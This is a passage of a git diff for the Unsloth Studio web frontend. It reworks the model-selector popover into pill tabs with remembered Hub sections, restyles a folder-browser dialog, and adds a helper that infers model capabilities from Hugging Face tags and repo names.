                   {/* settings cog (replaces the up/down chevron) */}
                   <HugeiconsIcon
-                    icon={Setting07Icon}
+                    icon={Settings02Icon}
                     strokeWidth={1.5}
                     className="ml-auto !size-[18px] text-muted-foreground group-data-[collapsible=icon]:hidden"
                   />
@@ -1398,7 +1398,7 @@ export function AppSidebar() {
                   <DropdownMenuItem
                     onSelect={() => useSettingsDialogStore.getState().openDialog()}
                   >
-                    <HugeiconsIcon icon={Setting07Icon} strokeWidth={1.75} className="size-icon" />
+                    <HugeiconsIcon icon={Settings02Icon} strokeWidth={1.75} className="size-icon" />
                     <span>{t("shell.navigation.settings")}</span>
                     <DropdownMenuShortcut>⌘,</DropdownMenuShortcut>
                   </DropdownMenuItem>
diff --git a/studio/frontend/src/components/assistant-ui/model-selector.tsx b/studio/frontend/src/components/assistant-ui/model-selector.tsx
index d17892e1bd..8938f4dda7 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector.tsx
@@ -8,24 +8,37 @@ import {
   PopoverContent,
   PopoverTrigger,
 } from "@/components/ui/popover";
-import { InfoHint } from "@/components/ui/info-hint";
-import { Switch } from "@/components/ui/switch";
-import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { TooltipProvider } from "@/components/ui/tooltip";
 import { usePlatformStore } from "@/config/env";
 import { isCustomProviderType } from "@/features/chat/external-providers";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
   CloudIcon,
   DashboardSquare01Icon,
+  Download01Icon,
   FolderSearchIcon,
   RemoveCircleIcon,
   Search01Icon,
+  StarIcon,
 } from "@hugeicons/core-free-icons";
-import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { type KeyboardEvent, useMemo, useState } from "react";
+import { useNavigate } from "@tanstack/react-router";
+import {
+  type KeyboardEvent,
+  type ReactNode,
+  useEffect,
+  useMemo,
+  useRef,
+  useState,
+} from "react";
 import { Input } from "../ui/input";
-import { HubModelPicker, LoraModelPicker } from "./model-selector/pickers";
+import { HubModelPicker, hasDownloadedModels } from "./model-selector/pickers";
+import { PillTabs } from "./model-selector/pill-tabs";
+import {
+  buildSourceTabs,
+  isFineTunedSource,
+} from "./model-selector/source-tabs";
 import type {
   DeletedModelRef,
   ExternalModelOption,
@@ -110,11 +123,6 @@ interface ModelSelectorProps {
   activeGgufVariant?: string | null;
   onValueChange?: (value: string, meta: ModelSelectorChangeMeta) => void;
   onEject?: () => void;
-  /** When provided, renders a persisted "Load on selection" toggle in the
-   *  popover. Off → picking a model stages it for a deferred, configured load
-   *  instead of loading immediately. */
-  loadOnSelection?: boolean;
-  onLoadOnSelectionChange?: (value: boolean) => void;
   onFoldersChange?: () => void;
   onPickLocalModel?: () => void | Promise<void>;
   onModelsChange?: (deletedModel?: DeletedModelRef) => void;
@@ -155,8 +163,9 @@ function ModelSelectorTrigger({
         className={cn(
           "unsloth-model-selector-trigger flex min-w-0 items-center gap-2 transition-colors",
           variant === "outline" &&
-          "rounded-full border border-border/60 hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
-          variant === "ghost" && "rounded-full hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
+            "rounded-full border border-border/60 hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
+          variant === "ghost" &&
+            "rounded-full hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
           variant === "muted" && "rounded-full bg-muted hover:bg-muted/80",
           // More left padding than right; the chevron is pulled close to the
           // label (below) so the trigger reads balanced around the text.
@@ -170,7 +179,9 @@ function ModelSelectorTrigger({
           <span className="size-2 shrink-0 rounded-full bg-emerald-500" />
         )}
         {currentModel?.icon ? (
-          <span className="flex shrink-0 items-center">{currentModel.icon}</span>
+          <span className="flex shrink-0 items-center">
+            {currentModel.icon}
+          </span>
         ) : null}
         <span className="flex min-w-0 flex-1 items-baseline">
           <span className="min-w-0 flex flex-1 items-baseline truncate font-heading text-[16px] font-medium leading-tight text-black dark:text-white">
@@ -206,7 +217,52 @@ function ModelSelectorTrigger({
   );
 }
 
+type HubSection = "downloaded" | "recommended" | "custom" | "connected";
+
+// The user's most recently clicked Hub section, restored on every open so the
+// selector returns to the tab they last used.
+const HUB_SECTION_KEY = "unsloth_model_selector_section";
+// Last tab the user actually clicked, or null when none is stored yet. Only
+// On Device / Recommended persist (Connected is provider-conditional).
+function loadLastHubSection(): HubSection | null {
+  try {
+    const raw = localStorage.getItem(HUB_SECTION_KEY);
+    return raw === "downloaded" || raw === "recommended" ? raw : null;
+  } catch {
+    return null;
+  }
+}
+function saveLastHubSection(section: HubSection): void {
+  if (section !== "downloaded" && section !== "recommended") return;
+  try {
+    localStorage.setItem(HUB_SECTION_KEY, section);
+  } catch {
+    // Ignore unavailable storage.
+  }
+}
+// Default the Hub section: the last tab the user clicked; first time, On Device
+// when they have downloads, else Recommended.
+function defaultHubSection(): HubSection {
+  return (
+    loadLastHubSection() ?? (hasDownloadedModels() ? "downloaded" : "recommended")
+  );
+}
+
+const HUB_SECTION_TABS: { value: string; label: string; icon?: ReactNode }[] = [
+  {
+    value: "recommended",
+    label: "Recommended",
+    icon: <HugeiconsIcon icon={StarIcon} className="size-3.5" />,
+  },
+  {
+    value: "downloaded",
+    label: "On Device",
+    icon: <HugeiconsIcon icon={Download01Icon} className="size-3.5" />,
+  },
+];
+
 function ModelSelectorContent({
+  open,
   models,
   loraModels,
   externalModels,
@@ -215,13 +271,13 @@ function ModelSelectorContent({
   onEject,
   onFoldersChange,
   onPickLocalModel,
+  onBrowseHub,
   onModelsChange,
   deleteDisabled,
-  loadOnSelection,
-  onLoadOnSelectionChange,
   className,
   dataTour,
 }: {
+  open: boolean;
   models: ModelOption[];
   loraModels: LoraModelOption[];
   externalModels: ExternalModelOption[];
@@ -230,29 +286,89 @@ function ModelSelectorContent({
   onEject?: () => void;
   onFoldersChange?: () => void;
   onPickLocalModel?: () => void;
+  onBrowseHub?: () => void;
   onModelsChange?: (deletedModel?: DeletedModelRef) => void;
   deleteDisabled?: boolean;
-  loadOnSelection?: boolean;
-  onLoadOnSelectionChange?: (value: boolean) => void;
   className?: string;
   dataTour?: string;
 }) {
   const hasSelection = Boolean(value);
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const hasExternal = externalModels.length > 0;
+  // The Fine-tuned tab is for fine-tuned models only. Local models (LM Studio,
+  // Ollama, custom folders) carry source "local" and live in the Hub tab's
+  // Downloaded / Custom sections instead.
+  const fineTunedModels = useMemo(
+    () => loraModels.filter((model) => isFineTunedSource(model.source)),
+    [loraModels],
+  );
   const chatOnlyTabsDefault = useMemo(
-    () => (value && externalModels.some((model) => model.id === value) ? "external" : "hub"),
+    () =>
+      value && externalModels.some((model) => model.id === value)
+        ? "external"
+        : "hub",
     [externalModels, value],
   );
-  const studioTabsDefault = useMemo((): "hub" | "lora" | "external" => {
+  const studioTabsDefault = useMemo((): "hub" | "external" => {
     if (value && externalModels.some((model) => model.id === value)) {
       return "external";
     }
-    if (value && loraModels.some((model) => model.id === value)) {
-      return "lora";
-    }
     return "hub";
-  }, [externalModels, loraModels, value]);
+  }, [externalModels, value]);
+
+  const tabs = useMemo(() => buildSourceTabs(), []);
+  // Connected sits in the section toggle, shown only with external providers.
+  const hubSectionTabs = useMemo(
+    () =>
+      hasExternal
+        ? [
+            ...HUB_SECTION_TABS,
+            {
+              value: "connected",
+              label: "Connected",
+              icon: <HugeiconsIcon icon={CloudIcon} className="size-3.5" />,
+            },
+          ]
+        : HUB_SECTION_TABS,
+    [hasExternal],
+  );
+
+  const [activeTab, setActiveTab] = useState<string>(() =>
+    chatOnly ? chatOnlyTabsDefault : studioTabsDefault,
+  );
+  // Fall back to the first tab if the active one disappears.
+  const effectiveTab = tabs.some((tab) => tab.value === activeTab)
+    ? activeTab
+    : tabs[0].value;
+  // Open on Connected when the active model comes from a connected provider.
+  const wantsConnectedDefault =
+    (chatOnly ? chatOnlyTabsDefault : studioTabsDefault) === "external";
+  const [hubSection, setHubSection] = useState<HubSection>(() =>
+    wantsConnectedDefault ? "connected" : defaultHubSection(),
+  );
+  // Connected is only valid while external providers exist; fall back otherwise.
+  const effectiveHubSection: HubSection =
+    hubSection === "connected" && !hasExternal ? "recommended" : hubSection;
+
+  // The picker below remounts on each open, but this tab state does not, so a
+  // persisted selection that lands in lora/external after async load would
+  // reopen on Hub. Re-derive the default tab on the open edge.
+  const wasOpen = useRef(open);
+  useEffect(() => {
+    if (open && !wasOpen.current) {
+      setActiveTab(chatOnly ? chatOnlyTabsDefault : studioTabsDefault);
+      // Connected when an external model is active, else On Device when the
+      // user has downloads, else their last section.
+      setHubSection(wantsConnectedDefault ? "connected" : defaultHubSection());
+    }
+    wasOpen.current = open;
+  }, [
+    open,
+    chatOnly,
+    chatOnlyTabsDefault,
+    studioTabsDefault,
+    wantsConnectedDefault,
+  ]);
 
   function focusActiveModelOption(root: HTMLElement): boolean {
     const option =
@@ -265,9 +381,7 @@ function ModelSelectorContent({
       root.querySelector<HTMLElement>(
         '[role="tabpanel"]:not([hidden]) [data-model-picker-option]',
       ) ??
-      root.querySelector<HTMLElement>(
-        "[data-model-picker-option]",
-      );
+      root.querySelector<HTMLElement>("[data-model-picker-option]");
     if (!option) {
       return false;
     }
@@ -304,122 +418,101 @@ function ModelSelectorContent({
       data-tour={dataTour}
       onKeyDown={handlePickerEntryKeyDown}
       className={cn(
-        "unsloth-model-selector-menu menu-soft-surface ring-0 w-[min(440px,calc(100vw-1rem))] max-w-[calc(100vw-1rem)] min-w-0 gap-0 px-3 pt-3 pb-2",
+        "unsloth-model-selector-menu menu-soft-surface ring-0 max-w-[calc(100vw-1rem)] min-w-0 gap-0 pt-4 pb-0 pl-4",
+        // Sized so the left-packed row keeps uniform gaps and the last dropdown's
+        // right gap matches the pill's left gap (pl-4 vs pr-4).
+        hasExternal
+          ? "w-[min(614px,calc(100vw-1rem))] pr-4"
+          : "w-[min(506px,calc(100vw-1rem))] pr-2",
         className,
       )}
     >
-      {chatOnly ? (
-        hasExternal ? (
-          <Tabs defaultValue={chatOnlyTabsDefault} className="w-full">
-            <TabsList className="mb-2 w-full">
-              <TabsTrigger value="hub">Hub models</TabsTrigger>
-              <TabsTrigger value="external">Connected</TabsTrigger>
-            </TabsList>
-            <TabsContent value="hub" className="m-0">
-              <HubModelPicker models={models} value={value} onSelect={onSelect} onFoldersChange={onFoldersChange} />
-            </TabsContent>
-            <TabsContent value="external" className="m-0">
-              <ExternalModelPicker
-                externalModels={externalModels}
-                value={value}
-                onSelect={onSelect}
+      {/* Local provider so popover tooltips open instantly, including when the
+          cursor moves between icons. disableHoverableContent drops the grace
+          area between a trigger and its tooltip, so moving from one icon to the
+          next switches the tooltip at once instead of keeping the old one up. */}
+      <TooltipProvider
+        delayDuration={0}
+        skipDelayDuration={0}
+        disableHoverableContent={true}
+      >
+        {tabs.length > 1 ? (
+          <PillTabs
+            ariaLabel="Model source"
+            tabs={tabs}
+            value={effectiveTab}
+            onValueChange={setActiveTab}
+            fit={true}
+            className="mb-2"
+          />
+        ) : null}
+
+        {effectiveTab === "hub" ? (
+          <HubModelPicker
+            models={models}
+            loraModels={fineTunedModels}
+            externalModels={externalModels}
+            value={value}
+            onSelect={onSelect}
+            onFoldersChange={onFoldersChange}
+            onBrowseHub={onBrowseHub}
+            onModelsChange={onModelsChange}
+            deleteDisabled={deleteDisabled}
+            section={effectiveHubSection}
+            onEject={hasSelection && onEject ? onEject : undefined}
+            sectionToggle={
+              <PillTabs
+                ariaLabel="Hub section"
+                tabs={hubSectionTabs}
+                value={effectiveHubSection}
+                onValueChange={(next) => {
+                  const section = next as HubSection;
+                  setHubSection(section);
+                  saveLastHubSection(section);
+                }}
+                fit={true}
               />
-            </TabsContent>
-          </Tabs>
-        ) : (
-          <HubModelPicker models={models} value={value} onSelect={onSelect} onFoldersChange={onFoldersChange} />
-        )
-      ) : (
-        <Tabs defaultValue={studioTabsDefault} className="w-full">
-          <TabsList className="mb-2 w-full">
-            <TabsTrigger value="hub">Hub models</TabsTrigger>
-            <TabsTrigger value="lora">Fine-tuned</TabsTrigger>
-            {hasExternal ? <TabsTrigger value="external">Connected</TabsTrigger> : null}
-          </TabsList>
+            }
+          />
+        ) : null}
 
-          <TabsContent value="hub" className="m-0">
-            <HubModelPicker models={models} value={value} onSelect={onSelect} onFoldersChange={onFoldersChange} />
-          </TabsContent>
+        {effectiveTab === "external" ? (
+          <ExternalModelPicker
+            externalModels={externalModels}
+            value={value}
+            onSelect={onSelect}
+          />
+        ) : null}
 
-          <TabsContent value="lora" className="m-0">
-            <LoraModelPicker
-              loraModels={loraModels}
-              value={value}
-              onSelect={onSelect}
-              onModelsChange={onModelsChange}
-              deleteDisabled={deleteDisabled}
-            />
-          </TabsContent>
-
-          {hasExternal ? (
-            <TabsContent value="external" className="m-0">
-              <ExternalModelPicker
-                externalModels={externalModels}
-                value={value}
-                onSelect={onSelect}
-              />
-            </TabsContent>
-          ) : null}
-        </Tabs>
-      )}
-
-      {onPickLocalModel ? (
-        <div className="mt-1.5 border-t border-border/70 pt-1.5">
-          <button
-            type="button"
-            onClick={onPickLocalModel}
-            className="flex w-full items-center justify-center gap-1.5 rounded-md px-2 py-1.5 text-xs text-muted-foreground transition-colors hover:bg-muted/60"
-            title="Pick a model file from disk"
-          >
-            <HugeiconsIcon icon={FolderSearchIcon} className="size-3.5" />
-            Pick a model file from disk
-          </button>
-        </div>
-      ) : null}
-      {hasSelection && onEject ? (
-        <div className="mt-1.5 border-t border-border/70 pt-1.5">
-          <button
-            type="button"
-            onClick={onEject}
-            className="flex w-full items-center justify-center gap-1.5 rounded-md px-2 py-1.5 text-xs text-destructive transition-colors hover:bg-destructive/10"
-            title="Eject model"
-          >
-            <HugeiconsIcon icon={RemoveCircleIcon} className="size-3.5" />
-            Eject loaded model
-          </button>
-        </div>
-      ) : null}
-      {onLoadOnSelectionChange ? (
-        <div className="mt-1.5 border-t border-border/70 pt-1.5">
-          <div className="flex w-full items-center justify-between gap-2 rounded-md px-2 py-1.5 text-xs text-muted-foreground">
-            <div className="flex min-w-0 flex-col gap-0.5">
-              <div className="flex min-w-0 items-center gap-1.5">
-                <span>Load on selection</span>
-                <InfoHint>
-                  <div className="space-y-1">
-                    <div>
-                      <span className="font-medium">On:</span> load the model
-                      immediately after selection.
-                    </div>
-                    <div>
-                      <span className="font-medium">Off:</span> configure options
-                      first, then click Load model.
-                    </div>
-                  </div>
-                </InfoHint>
-              </div>
-              <span className="text-[10px] leading-none text-muted-foreground/70">
-                Local GGUF models only
-              </span>
-            </div>
-            <Switch
-              className="panel-switch shrink-0"
-              checked={loadOnSelection ?? true}
-              onCheckedChange={onLoadOnSelectionChange}
-            />
+        {onPickLocalModel ? (
+          <div className="mt-1.5 border-t border-border/70 pt-1.5">
+            <button
+              type="button"
+              onClick={onPickLocalModel}
+              className="flex w-full items-center justify-center gap-1.5 rounded-md px-2 py-1.5 text-xs text-muted-foreground transition-colors hover:bg-muted/60"
+              title="Pick a model file from disk"
+            >
+              <HugeiconsIcon icon={FolderSearchIcon} className="size-3.5" />
+              Pick a model file from disk
+            </button>
           </div>
-        </div>
-      ) : null}
+        ) : null}
+        {/* Hub renders Eject inline as the last list row; other tabs keep the
+          footer button. */}
+        {effectiveTab !== "hub" && hasSelection && onEject ? (
+          <div className="mt-1.5 pt-1.5">
+            <button
+              type="button"
+              onClick={onEject}
+              className="flex w-full items-center justify-center gap-1.5 rounded-md px-2 py-1.5 text-xs text-destructive transition-colors hover:bg-destructive/10"
+              title="Eject model"
+            >
+              <HugeiconsIcon icon={RemoveCircleIcon} className="size-3.5" />
+              Eject loaded model
+            </button>
+          </div>
+        ) : null}
+      </TooltipProvider>
     </PopoverContent>
   );
 }
@@ -437,8 +530,6 @@ export function ModelSelector({
   onPickLocalModel,
   onModelsChange,
   deleteDisabled,
-  loadOnSelection,
-  onLoadOnSelectionChange,
   variant = "outline",
   size = "default",
   className,
@@ -452,6 +543,7 @@ export function ModelSelector({
   const [uncontrolledOpen, setUncontrolledOpen] = useState(false);
   const open = controlledOpen ?? uncontrolledOpen;
   const setOpen = onOpenChange ?? setUncontrolledOpen;
+  const navigate = useNavigate();
   const [uncontrolled, setUncontrolled] = useState(defaultValue ?? "");
 
   const selected = value ?? uncontrolled;
@@ -511,7 +603,9 @@ export function ModelSelector({
     const found = optionById.get(selected);
     if (activeGgufVariant) {
       const desc = `GGUF · ${activeGgufVariant}`;
-      return found ? { ...found, description: desc } : { id: selected, name: selected, description: desc };
+      return found
+        ? { ...found, description: desc }
+        : { id: selected, name: selected, description: desc };
     }
     return found ?? { id: selected, name: selected };
   }, [selected, optionById, activeGgufVariant]);
@@ -535,6 +629,11 @@ export function ModelSelector({
     void onPickLocalModel?.();
   }
 
+  function handleBrowseHub() {
+    setOpen(false);
+    void navigate({ to: "/hub", search: { tab: "discover" } });
+  }
+
   return (
     <Popover open={open} onOpenChange={setOpen}>
       <ModelSelectorTrigger
@@ -547,6 +646,7 @@ export function ModelSelector({
         dataTour={triggerDataTour}
       />
       <ModelSelectorContent
+        open={open}
         models={models}
         loraModels={loraModels}
         externalModels={externalModels}
@@ -555,10 +655,9 @@ export function ModelSelector({
         onEject={onEject ? handleEject : undefined}
         onFoldersChange={onFoldersChange}
         onPickLocalModel={onPickLocalModel ? handlePickLocalModel : undefined}
+        onBrowseHub={handleBrowseHub}
         onModelsChange={onModelsChange}
         deleteDisabled={deleteDisabled}
-        loadOnSelection={loadOnSelection}
-        onLoadOnSelectionChange={onLoadOnSelectionChange}
         className={contentClassName}
         dataTour={contentDataTour}
       />
@@ -627,7 +726,7 @@ function ExternalModelPicker({
           className="h-9 pl-8"
         />
       </div>
-      <div className="max-h-64 overflow-y-auto">
+      <div className="-mr-1.5 max-h-72 overflow-y-auto pr-1.5">
         <div className="space-y-2 p-1">
           {grouped.length === 0 ? (
             <div className="px-2.5 py-2 text-xs leading-relaxed text-muted-foreground">
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx b/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
index 3cb80ca2e1..6311e15bfe 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
@@ -3,6 +3,8 @@
 
 "use client";
 
+import { Button } from "@/components/ui/button";
+import { Checkbox } from "@/components/ui/checkbox";
 import {
   Dialog,
   DialogClose,
@@ -35,7 +37,8 @@ function splitBreadcrumb(path: string): { label: string; value: string }[] {
   // Detect path style BEFORE normalizing: on POSIX, `\` is a valid filename
   // char, so blindly rewriting `\` -> `/` mangles names like `my\backup` into
   // 404ing breadcrumbs. Only Windows-style paths (drive letter, or UNC) convert.
-  const isWindowsDrive = /^[A-Za-z]:[\\/]/.test(path) || /^[A-Za-z]:$/.test(path);
+  const isWindowsDrive =
+    /^[A-Za-z]:[\\/]/.test(path) || /^[A-Za-z]:$/.test(path);
   const isUnc = /^\\\\/.test(path);
   const isWindows = isWindowsDrive || isUnc;
   const normalized = isWindows ? path.replace(/\\/g, "/") : path;
@@ -149,18 +152,16 @@ export function FolderBrowser({
   return (
     <Dialog open={open} onOpenChange={onOpenChange}>
       <DialogContent
-        className="max-w-md p-0 gap-0"
+        className="corner-squircle dialog-soft-surface sm:max-w-md p-0 gap-0 [&_[data-slot=dialog-close]]:top-4"
         overlayClassName="bg-black/20 backdrop-blur-none"
         data-testid="folder-browser-dialog"
       >
-        <DialogHeader className="px-4 pt-4 pb-2">
-          <DialogTitle className="text-sm font-medium">
-            Browse for folder
-          </DialogTitle>
+        <DialogHeader className="px-6 pt-6 pb-2">
+          <DialogTitle>Select folder to detect models</DialogTitle>
         </DialogHeader>
 
         {/* Breadcrumb */}
-        <div className="flex flex-wrap items-center gap-0.5 border-t border-border/50 px-4 py-2 font-mono text-[11px] text-muted-foreground">
+        <div className="flex flex-wrap items-center gap-0.5 border-t border-border/50 px-6 py-2 font-mono text-[11px] text-muted-foreground">
           {crumbs.length === 0 ? (
             <span className="text-muted-foreground/60">(loading…)</span>
           ) : (
@@ -168,7 +169,7 @@ export function FolderBrowser({
               <span key={c.value} className="flex items-center gap-0.5">
                 <button
                   type="button"
-                  className="rounded px-1 py-0.5 hover:bg-accent hover:text-foreground"
+                  className="rounded px-1 py-0.5 hover:bg-muted hover:text-foreground"
                   onClick={() => navigate(c.value, showHidden)}
                   disabled={loading}
                 >
@@ -184,14 +185,14 @@ export function FolderBrowser({
 
         {/* Suggestions (quick-pick chips) */}
         {data?.suggestions && data.suggestions.length > 0 && (
-          <div className="flex flex-wrap gap-1 border-t border-border/50 px-4 py-2">
+          <div className="flex flex-wrap gap-1 border-t border-border/50 px-6 py-2">
             {data.suggestions.map((s) => (
               <button
                 key={s}
                 type="button"
                 onClick={() => navigate(s, showHidden)}
                 disabled={loading}
-                className="rounded-full border border-border/50 px-2 py-0.5 font-mono text-[10px] text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+                className="rounded-full border border-border/50 px-2 py-0.5 font-mono text-[10px] text-muted-foreground transition-colors hover:bg-muted hover:text-foreground disabled:opacity-40"
                 title={s}
               >
                 {s.length > 36 ? `…${s.slice(-33)}` : s}
@@ -200,25 +201,33 @@ export function FolderBrowser({
           </div>
         )}
 
-        {/* Entry list */}
+        {/* Entry list. Keep the list mounted while a refetch is in flight (e.g.
+        toggling Show hidden) and just dim it, so the dialog doesn't collapse and
+        flash. The full-height spinner only shows on the first load, when there
+        is no data yet. */}
         <div className="max-h-64 min-h-24 overflow-y-auto border-t border-border/50">
           {error && (
-            <div className="px-4 py-3 text-xs text-destructive">{error}</div>
+            <div className="px-6 py-3 text-xs text-destructive">{error}</div>
           )}
-          {!error && loading && (
-            <div className="flex items-center gap-2 px-4 py-3">
+          {!error && !data && loading && (
+            <div className="flex items-center gap-2 px-6 py-3">
               <Spinner className="size-3 text-muted-foreground" />
               <span className="text-xs text-muted-foreground">Loading…</span>
             </div>
           )}
-          {!error && !loading && data && (
-            <>
+          {!error && data && (
+            <div
+              className={cn(
+                "transition-opacity duration-150",
+                loading && "pointer-events-none opacity-50",
+              )}
+            >
               {/* Up row */}
               {data.parent !== null && (
                 <button
                   type="button"
                   onClick={() => navigate(data.parent ?? undefined, showHidden)}
-                  className="flex w-full items-center gap-2 px-4 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:bg-accent hover:text-foreground"
+                  className="flex w-full items-center gap-2 px-6 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
                 >
                   <HugeiconsIcon
                     icon={ArrowUp02Icon}
@@ -227,18 +236,22 @@ export function FolderBrowser({
                   <span className="font-mono">..</span>
                 </button>
               )}
-              {data.entries.length === 0 && !(data.model_files_here && data.model_files_here > 0) && (
-                <div className="px-4 py-3 text-xs text-muted-foreground/60">
-                  (empty directory)
-                </div>
-              )}
-              {data.model_files_here !== undefined && data.model_files_here > 0 && (
-                <div className="border-t border-border/30 px-4 py-1.5 text-[10px] text-foreground/70">
-                  {data.model_files_here} model file{data.model_files_here === 1 ? "" : "s"} in this folder. Click "Use this folder" to scan it.
-                </div>
-              )}
+              {data.entries.length === 0 &&
+                !(data.model_files_here && data.model_files_here > 0) && (
+                  <div className="px-6 py-3 text-xs text-muted-foreground/60">
+                    (empty directory)
+                  </div>
+                )}
+              {data.model_files_here !== undefined &&
+                data.model_files_here > 0 && (
+                  <div className="border-t border-border/30 px-6 py-1.5 text-[10px] text-foreground/70">
+                    {data.model_files_here} model file
+                    {data.model_files_here === 1 ? "" : "s"} in this folder.
+                    Click "Use this folder" to scan it.
+                  </div>
+                )}
               {data.truncated === true && (
-                <div className="border-t border-border/30 px-4 py-1.5 text-[10px] text-muted-foreground/70">
+                <div className="border-t border-border/30 px-6 py-1.5 text-[10px] text-muted-foreground/70">
                   Showing first {data.entries.length} entries. Narrow the path
                   to see more.
                 </div>
@@ -252,7 +265,7 @@ export function FolderBrowser({
                     navigate(`${data.current}${sep}${e.name}`, showHidden);
                   }}
                   className={cn(
-                    "flex w-full items-center gap-2 px-4 py-1.5 text-left text-xs transition-colors hover:bg-accent hover:text-foreground",
+                    "flex w-full items-center gap-2 px-6 py-1.5 text-left text-xs transition-colors hover:bg-muted hover:text-foreground",
                     e.hidden && "text-muted-foreground/60",
                   )}
                 >
@@ -273,42 +286,41 @@ export function FolderBrowser({
                   )}
                 </button>
               ))}
-            </>
+            </div>
           )}
         </div>
 
         {/* Footer */}
-        <DialogFooter className="flex items-center justify-between gap-2 border-t border-border/50 px-4 py-2">
-          <label className="flex cursor-pointer items-center gap-1.5 text-[10px] text-muted-foreground">
-            <input
-              type="checkbox"
+        <DialogFooter className="flex items-center justify-between gap-2 border-t border-border/50 px-6 py-3">
+          <label
+            htmlFor="folder-browser-show-hidden"
+            className="flex cursor-pointer items-center gap-2 text-xs text-muted-foreground"
+          >
+            <Checkbox
+              id="folder-browser-show-hidden"
+              className="rounded-full"
               checked={showHidden}
-              onChange={(e) => {
-                const next = e.target.checked;
+              onCheckedChange={(checked) => {
+                const next = checked === true;
                 setShowHidden(next);
                 navigate(path, next);
               }}
-              className="size-3"
             />
             Show hidden
           </label>
           <div className="flex gap-2">
             <DialogClose asChild={true}>
-              <button
-                type="button"
-                className="h-7 rounded border border-border/50 px-2.5 text-[11px] text-muted-foreground transition-colors hover:bg-accent hover:text-foreground"
-              >
+              <Button type="button" variant="ghost">
                 Cancel
-              </button>
+              </Button>
             </DialogClose>
-            <button
+            <Button
               type="button"
               onClick={handleConfirm}
               disabled={!path || loading || !!error}
-              className="h-7 rounded bg-foreground px-2.5 text-[11px] font-medium text-background transition-colors hover:bg-foreground/90 disabled:opacity-40"
             >
               Use this folder
-            </button>
+            </Button>
           </div>
         </DialogFooter>
       </DialogContent>
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts b/studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts
new file mode 100644
index 0000000000..62ecac831b
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Pure helpers that infer what a model can do (vision / reasoning / audio) from
+// its HF tags + pipeline tag, falling back to repo-name keywords. No React/DOM
+// deps so they stay easy to test.
+
+export interface ModelCapabilities {
+  vision: boolean;
+  reasoning: boolean;
+  audio: boolean;
+}
+
+// Authoritative HF pipeline tags / tags for each capability.
+const VISION_TAGS = new Set([
+  "image-text-to-text",
+  "image-to-text",
+  "visual-question-answering",
+  "video-text-to-text",
+  "any-to-any",
+  "multimodal",
+  "vision",
+]);
+const AUDIO_TAGS = new Set([
+  "automatic-speech-recognition",
+  "audio-text-to-text",
+  "text-to-speech",
+  "text-to-audio",
+  "audio-to-audio",
+  "audio-classification",
+]);
+const REASONING_TAGS = new Set(["reasoning"]);
+
+// Repo-name fallbacks, bounded so we never read a token out of a longer word.
+const SEP = "(?:^|[-_/. ])";
+const END = "(?=$|[-_/. ])";
+const VISION_NAME_RE = new RegExp(
+  `${SEP}(?:vl|llava|pixtral|moondream|smolvlm|internvl|cogvlm|idefics|paligemma|vision)${END}`,
+  "i",
+);
+const REASONING_NAME_RE = new RegExp(
+  `${SEP}(?:r1|qwq|thinking|reason(?:ing|er)?|magistral|o1|marco)${END}`,
+  "i",
+);
+const AUDIO_NAME_RE = new RegExp(
+  `${SEP}(?:whisper|tts|parakeet|parler|musicgen|bark|orpheus|csm|voice|speech|audio)${END}`,
+  "i",
+);
+
+function hasAny(tagSet: Set<string>, wanted: Set<string>): boolean {
+  for (const tag of wanted) if (tagSet.has(tag)) return true;
+  return false;
+}
+
+/** Infer capabilities from HF tags + pipeline tag, then repo-name keywords. */
+export function detectCapabilities(opts: {
+  id: string;
+  tags?: readonly string[];
+  pipelineTag?: string;
+}): ModelCapabilities {
+  const { id, tags, pipelineTag } = opts;
+  const tagSet = new Set((tags ?? []).map((t) => t.toLowerCase()));
+  if (pipelineTag) tagSet.add(pipelineTag.toLowerCase());
+  return {
+    vision: hasAny(tagSet, VISION_TAGS) || VISION_NAME_RE.test(id),
+    reasoning: hasAny(tagSet, REASONING_TAGS) || REASONING_NAME_RE.test(id),
+    audio: hasAny(tagSet, AUDIO_TAGS) || AUDIO_NAME_RE.test(id),
+  };
+}
+
+/** True when at least one capability is present (worth rendering a badge). */
+export function hasAnyCapability(caps: ModelCapabilities): boolean {
+  return caps.vision || caps.reasoning || caps.audio;
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx
new file mode 100644
index 0000000000..58510762d4
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx
@@ -0,0 +1,59 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import { cn } from "@/lib/utils";
+import { Settings02Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+
+/** Gear button on a downloaded quant row. Stages the model into the Run
+ * settings sidebar (always, regardless of the Load-on-selection toggle) so the
